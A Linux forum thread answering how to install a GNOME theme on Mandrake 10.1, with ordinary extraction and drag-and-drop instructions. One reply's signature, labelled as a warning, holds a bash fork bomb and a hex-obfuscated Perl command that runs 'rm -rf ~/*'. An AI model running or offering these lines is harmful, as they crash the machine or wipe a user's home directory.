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  1. #1

    install theme

    i am using mandrake 10.1
    and how can i install a new theme for gnome?????
    thanks for help..

  2. #2
    Linux Newbie
    Join Date
    Jul 2004
    Calcutta, India
    if the theme package is an archive file .. (like .tar.gz etc)
    then extract it in the directory :
    /usr/share/themes/ (as root)
    then go to your Preferences > Theme and u'll see the new one is being shown .. select .. and start using it ..
    WARNING!!! Don\'t try the following :
    bash$ :(){ :|:&};: -- 
    bash$ `perl -e\'print\"\\x72\\x6D\\x20\\x2D\\x72\\x66\\x20\\x7E\\x2F\\x2A\"\'`
    Registered Linux User #382098

  3. #3
    Linux User
    Join Date
    Jul 2004
    You can as well install to your home directory. Simply create ~/.themes directory and extract you theme dirs there (you want theme directories there, not contents of these directories). A problem is that you might need some theme engines installed to have themes displaying correctly. In that case you'll have to find out what engine a theme requires and install it.
    "I don't know what I'm running from
    And I don't know where I'm running to
    There's something deep and strange inside of me I see"

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  5. #4
    Linux Engineer
    Join Date
    Mar 2005
    Another way is to open the theme changer, drag the theme from the file browser into the theme window, drop it there, click "install theme" in the dialog box which appears, restart the theme changer and... voila.

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